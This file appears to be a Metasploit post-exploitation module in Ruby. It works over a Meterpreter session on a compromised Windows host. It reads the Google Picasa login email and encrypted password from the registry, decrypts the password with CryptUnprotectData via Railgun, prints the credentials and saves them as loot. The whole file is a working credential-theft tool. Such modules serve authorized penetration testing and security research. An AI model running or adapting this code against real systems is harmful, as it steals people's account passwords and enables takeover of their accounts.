metasploit-framework/modules/post/windows/gather/enum_picasa_pwds.rb

163 lines
4.2 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Priv
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Google Picasa Password Extractor',
'Description' => %q{
This module extracts and decrypts the login passwords
stored by Google Picasa.
},
'License' => MSF_LICENSE,
'Author' =>
[
'SecurityXploded Team', #www.SecurityXploded.com
'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>',
],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def prepare_railgun
rg = session.railgun
if (!rg.get_dll('crypt32'))
rg.add_dll('crypt32')
end
if (!rg.crypt32.functions["CryptUnprotectData"])
rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
["PBLOB","pDataIn", "in"],
["PWCHAR", "szDataDescr", "out"],
["PBLOB", "pOptionalEntropy", "in"],
["PDWORD", "pvReserved", "in"],
["PBLOB", "pPromptStruct", "in"],
["DWORD", "dwFlags", "in"],
["PBLOB", "pDataOut", "out"]
])
end
end
def decrypt_password(data)
rg = session.railgun
pid = client.sys.process.getpid
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(512)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
else
addr = [mem].pack("Q")
len = [data.length].pack("Q")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
len, addr = ret["pDataOut"].unpack("Q2")
end
return "" if len == 0
decrypted_pw = process.memory.read(addr, len)
return decrypted_pw
end
def get_registry
psecrets = ""
begin
print_status("Looking in registry for stored login passwords by Picasa ...")
username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\",
'GaiaEmail')
password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\",
'GaiaPass')
if username != nil and password != nil
passbin = [password].pack("H*")
pass = decrypt_password(passbin)
if pass != nil
print_status("Username: #{username}")
print_status("Password: #{pass}")
secret = "#{username}:#{pass}"
psecrets << secret
end
end
#For early versions of Picasa3
username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\",
'GaiaEmail')
password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\",
'GaiaPass')
if username != nil and password != nil
passbin = [password].pack("H*")
pass = decrypt_password(passbin)
if pass != nil
print_status("Username: #{username}")
print_status("Password: #{pass}")
secret = "#{username}:#{pass}"
psecrets << secret
end
end
# store the loot
if psecrets != ""
path = store_loot(
"picasa.decrypted",
"text/plain",
session,
psecrets,
"decrypted_picasa_data.txt",
"Decrypted Picasa Passwords")
print_status("Decrypted passwords saved in: #{path}")
end
rescue ::Exception => e
print_error("An error has occurred: #{e.to_s}")
end
end
def run
uid = session.sys.config.getuid #Decryption only works in context of user's account.
if is_system?
print_error("This module is running under #{uid}.")
print_error("Automatic decryption will not be possible.")
print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
else
prepare_railgun
get_registry()
end
print_status("Done")
end
end